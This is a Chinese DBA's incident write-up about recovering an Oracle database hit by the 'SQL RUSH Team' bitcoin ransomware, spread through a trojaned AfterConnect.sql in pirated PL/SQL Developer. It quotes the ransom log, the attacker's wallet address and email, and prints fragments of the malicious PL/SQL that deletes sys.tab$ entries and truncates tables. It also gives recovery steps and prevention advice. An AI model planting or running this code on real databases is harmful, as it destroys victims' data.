程序员,快收下这份比特币“勒索病毒”应对须知!

作者 | JiekeXu

责编 | 胡巍巍

风险从来都不是臆想和草木皆兵,就在你不经意的时刻,可能风险就突然降临到我们的身边。

发现比特币勒索病毒

业务账号无法连接数据库

2018年7月18日早上10点多,某公司一台数据库无法使用业务账号连接数据库,尝试使用PL/SQL去连接,要么未响应被卡死,要么等十几分钟也不能连接。

索性直接登录服务器使用此业务账号去连接,登录后使用SYS用户很快就已连接,但此业务账号就一直卡住不动,无法连接,如下图所示:

查看操作系统后,发现CPU内存使用率均很高。也正是11:34分,午休时间时,情急下关闭了数据库,重启了操作系统,然后重新启动数据库。便去午休吃饭了,认为大事已解决,可以午休了。

大概吃完饭12:45分,回来后使用“CONN业务账号/密码”去登陆,等了十几分钟还是无法登陆,排除数据库监听没问题(因为期间使用PL/SQL登陆上一次),开始怀疑是网络方面的原因了,于是乎开始排查网络,使用Ping命令开始Ping主机名、localhost、127.0.0.1均没有问题。

使用tnsping也未发现问题,参考网上说是由于域名错误,便去查看域名cat /etc/resolv.conf没发现异常,对比其他服务器也是一样。

此时已经一点半还未找到原因,但更头疼的是业务人员告知业务系统无法打开,网页直接报500错误,坏了,马上登陆业务服务器去查看日志。

果然和猜想的一样,数据源已断开,在日志中存在大量的无法连接数据源错误,当时没有细看报错的时间,便立即将业务应用停止。

冷静分析后才想到去查看Alert日志。查看日志时让人大吃一惊。顿时傻眼了。看到这样的信息:

感觉不秒了,比特币攻击?怎么可能?内网环境,云服务器,这怎么会被攻击呢?

Wed Jul 18 11:24:46 2018

Errors in file /u01/app/oracle/admin/YXXXX3/udump/xxxxxx3_ora_2674.trc:

ORA-00604: error occurred at recursive SQL level 1

ORA-20315: 你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.

ORA-06512: at "FXXXX.DBMS_CORE_INTERNAL ", line 27ORA-06512: at line 2

Wed Jul 18 11:25:22 2018

Thread 1 advanced to log sequence 7963

Current log# 2 seq# 7963 mem# 0: / data/XXXXX3/redo02.logWed Jul 18 11:25:54 2018

Thread 1 cannot allocate new log, sequence 7964

Checkpoint not complete

Current log# 2 seq# 7963 mem# 0: /data/XXXXX3/redo02.log

Thread 1 advanced to log sequence 7964

Current log# 1 seq# 7964 mem# 0: /data/XXXXX3/redo01.log

Wed Jul 18 11:26:28 2018

Errors in file /u01/app/oracle/admin/ XXXXX3/udump/xxxxx3_ora_2710.trc:

ORA-00604: error occurred at recursive SQL level 1

ORA-20315: 你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.

ORA-06512: at "FMXXXXX9.DBMS_CORE_INTERNAL ", line 27

ORA-06512: at line 2

Wed Jul 18 11:26:29 2018

Thread 1 advanced to log sequence 7965

Current log# 3 seq# 7965 mem# 0: /data1/XXXX3/redo03.log

Wed Jul 18 11:27:04 2018

但是看到这个告警日志,不得不相信这又是SQL RUSH Team干的好事,很明显跟2016年11月份爆发的比特币攻击案例如出一辙。

--触发器

"DBMS_CORE_INTERNAL ";

"DBMS_SYSTEM_INTERNAL ";

"DBMS_SUPPORT_INTERNAL ";

--存储过程

"DBMS_CORE_INTERNAL ";

"DBMS_SYSTEM_INTERNAL ";

"DBMS_SUPPORT_INTERNAL ";

--查看存储过程

SELECT text FROM user_source WHERE NAME = 'DBMS_SYSTEM_INTERNAL '

ORDER BY line;

--查看触发器

select trigger_name from all_triggers

where table_name='DBMS_SYSTEM_INTERNAL ';

经过检查发现客户的业务用户XXX下面被创建了至少45万个JOB。由于内容实在是太多了,试图简单拼一个SQL来删除有问题的JOB。

select 'exec dbms_ijob.remove('||job||');'

from dba_jobs

where schema_user='FXXX' and what like '%truncate%';

这样一个语句,查了有10多分钟近20分钟没有执行完已经是45万之多JOB,无奈只能等待,期间查看了几眼Alert日志,发现日志从10:23分已经在频繁切换日志。

Wed Jul 18 06:00:16 2018

Thread 1 advanced to log sequence 7953

Current log# 3 seq# 7953 mem# 0: /data/XXXXX3/redo03.log

Wed Jul 18 10:23:52 2018

Thread 1 advanced to log sequence 7954

Current log# 2 seq# 7954 mem# 0: /data/XXXXX3/redo02.log

Wed Jul 18 10:25:54 2018

Thread 1 advanced to log sequence 7955

Current log# 1 seq# 7955 mem# 0: /data/XXXXX3/redo01.log

Wed Jul 18 10:30:39 2018

Thread 1 advanced to log sequence 7956

Current log# 3 seq# 7956 mem# 0: /data/XXXXX3/redo03.log

由此可以判断定有DDL操作,于是乎使用如下语句查看今天的DDL操作:

SELECT * FROM DBA_OBJECTS A

WHERE TO_CHAR(A.last_ddl_time,'YYYY-MM-DD')='2018-07-18'

AND OBJECT_TYPE='TABLE'

ORDER BY A.last_ddl_time DESC;

发现使用业务账号有很多TRUNCATE语句,未保存当时的查看结果,不完全统计出大概有70多张表被TRUNCATE掉了。

此业务账号业务量不大,平时操作也少,几乎以将大半业务表删除了。

数据库基本已经瘫痪,此时已经下午三点零五分,使用SYS用户也不能登录了,只能重启操作系统,重新启动数据库了,然后使用SYS用户可正常连接了。

然后执行了命令alter system set job_queue_process=0 scope=both ;并重启数据库(为什么要重启呢?因为此时数据库肯定已经产生了大量的library cache lock,无法操作)。

重启后可以使用SYS连接,于是乎又关闭数据库,做了一个物理冷备。

冷备完成后,启动数据库连接后查出了上面45万多的JOB,复制到Excel中然后在命令行先执行了65535个exce dbms_ijob.remove(806141);可是这个时间比较长,65535行执行了大概有一个小时多。

在此期间,无意中执行了一个RMAN全备,导致后面的恢复出现了问题,这个后面再说,等这65535个删除完毕,想进行下一个删除操作,但想着按这个时间算,至少得删除10多小时了,还是想其他方法吧。

数据库恢复

于是乎,还是使用RMAN做恢复,大概先了解这个数据库的备份策略:登陆服务器通过定时任务查看RMAN执行情况:

顺便看了一下备份脚本,可以看到每周日有全备,每天有增量备份,查看日志备份都没问题,还是可以做恢复的,备份脚本如下,可供参考:

但是备份恢复还是需要归档日志的,查看归档日志发现当日6:00归档,10:23分有归档,无法判断10:23分的这个归档是否可用。

故决定做不完全恢复,恢复到6:00,咨询业务人员说六点以后也没发生业务,可以这样恢复。

于是便忙起恢复来,先打算在测试库恢复一次看结果,但在测试库搞了好久都没搞完,遇到瓶颈测试库和正式库几乎同步,名字都一样,不好做恢复,尝试使用各种办法,就这样到晚上8点多了。没办法,在正式库直接恢复吧。

归档日志做手脚

为何这么说呢,归档日志是连续的,便将10:23分的归档给重命名了,这样归档不连续,后面的归档就不可用了,那为何要这样做呢,是因为之前做基于时间点恢复时,语句如下:

run {

startup force mount;

allocate channel c1 type disk;

allocate channel c2 type disk;

set until time ’2018-07-18 08:50:14‘;

restore database;

recover database;

alter database open resetlogs;

}

BUT,由于服务器的时间格式不合适,时间转换这里出问题了,无法继续,如下报错:

修改时间格式后继续运行但是又报错,说缺失右括号,但明显右括号也是英文状态下的。

尝试几遍都没问题,没办法(PS:后期有人说是环境变量没配置,恢复完成后对环境变量配置如下:

[oracle@JiekeXu ~]$ tail -2 .bash_profile

export NLS_LANG=AMERICAN_AMERICA.AL32UTF8

export NLS_DATE_FORMAT='yyyy-mm-dd hh24:mi:ss')

只能想其他的办法了,基于RMAN的不完全恢复有三种方法:

1、 基于时间点的不完全恢复;

2、 基于SCN值的不完全恢复;

3、 基于日志的不完全恢复;

当时的SCN号又没办法拿到,只能是归档日志了,重命名10:23分的归档日志,后期的日志将不可用了,于是才进行了恢复。但在恢复时使用的是如下语句:

restore database;

recover database;

alter database open resetlogs;

数据库直接寻找最近的一次全备,便找到下午4点多的全备了,欲哭无泪啊,没办法不能取消,只能等待恢复吧。

大概一个小时候恢复完了,没有任何报错,只是这个恢复很完美,但是让高兴不起来啊!

怎么办?于是想起来将下午的RMAN全备目录重命名了,这样备份恢复直接找周日的全备,使用周一周二的增量备份即可,说干就干,这样操作后,便进行恢复:

Restore database;

Recover database;

这里提示没有归档日志7953(因为之前给重命名啦),于是便出现这样的问题,直接打开数据库会报错,但这里出现了SCN号5965960546956,那便拿这个号来恢复一波吧:

好了,这样就已经大功告成了,简单查看之前被勒索的几个表,数据已经恢复了。

最后的检查

查询了几张丢失数据的表现在均有数据,使用业务账号也可以登陆了,查看alert日志也没有发现异常,初步可以判定正常了。于是又检查了存储过程和触发器,并未发现触发器

"DBMS_CORE_INTERNAL ";

"DBMS_SUPPORT_INTERNAL ";

"DBMS_SYSTEM_INTERNAL ";

和存储过程

"DBMS_CORE_INTERNAL ";

"DBMS_SUPPORT_INTERNAL ";

"DBMS_SYSTEM_INTERNAL ";

查看JOB也没有相关记录了,继续观察Alert日志也没发现问题,故可以重启应用了,重启完应用,查看前台业务并无异常,此事算是解决,告一段落了。

‍‍‍‍‍‍

安全、预防

‍‍‍‍‍‍

注意:当一个问题研究清楚之后,就不再会产生恐惧,恐惧来自于未知,在没有遭到原因之前,大家的各种猜测导致问题扩大化,现在可以回到问题的本质上来了。

问题的根本原因是:如果用户从互联网上下载了盗版的PL/SQL Developer工具后(尤其是各种绿色版、破解版),就可能因为这个工具中招。

所以这个问题和Oracle本身关系不大,也没有注入那么复杂。而是随着你使用这个工具,用户的权限就自然被附体的进行了入侵。

重要的问题要说三遍:盗版软件害人!

PL/SQL Developer在中国的流行程度和盗版程度毋庸置疑。这个软件的安装目录存在一个脚本文件AfterConnect.sql,这个脚本就是真正的问题所在。

正版软件安装,这个脚本文件是空文件,但是被注入的文件包含了一系列的JOB定义、存储过程和触发器定义,就是祸患的源头。

受感染文件AfterConnect.sql开头是这样的,伪装成一个login.sql的脚本内容,有清晰的注释代码:

BEGIN

SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

IF (DATE1>=1200) THEN

EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';

DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

COMMIT;

EXECUTE IMMEDIATE 'alter system checkpoint';

SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);

FOR I IN 1..2046 LOOP

END LOOP;

END IF;

END;

请注意黑客的专业性,在程序的开端有以下部分判断:

SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

IF (DATE1>=1200) THEN

也就是,判断数据库创建时间大于1200天,才开始动作(这个判断相当有见地,小库和新库,数据少不重要,先放长线钓大鱼),如果你的数据库还没有爆发,那可能是因为时间还没有到。

下载来源不明、汉化来历不明、破解来历不明的工具是数据库管理大忌,以下列出了常见客户端工具的脚本位置,需要引起注意:

SQL*Plus: glogin.sql / login.sql

TOAD : toad.ini

PLSQLdeveloper: login.sql / afterconnect.sql

我们强烈建议用户加强数据库的权限管控、生产环境和测试环境隔离,严格管控开发和运维工具。

处置建议:

这个攻击是通过JOB、触发器、存储过程来协同工具的,所以如果数据库遭遇到这个问题,可以将JOB参数job_queue_processes设置为0,屏蔽掉JOB的执行,然后重启数据库。可以清除注入对象,这些对象可能包括以下同名触发器和存储过程:

PROCEDURE "DBMS_CORE_INTERNAL "

PROCEDURE "DBMS_SYSTEM_INTERNAL "

PROCEDURE "DBMS_SUPPORT_INTERNAL "

而攻击的核心代码还包括,这会Truncate数据表:

STAT:='truncate table '||USER||'.'||I.TABLE_NAME;

参考资料:

作者简介:JiekeXu,2017年毕业于某本科院校,从事于数据库运维行业,一个热爱Python的DBA。

  • 发表于:
  • 原文链接:https://kuaibao.qq.com/s/20181209A12S5H00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券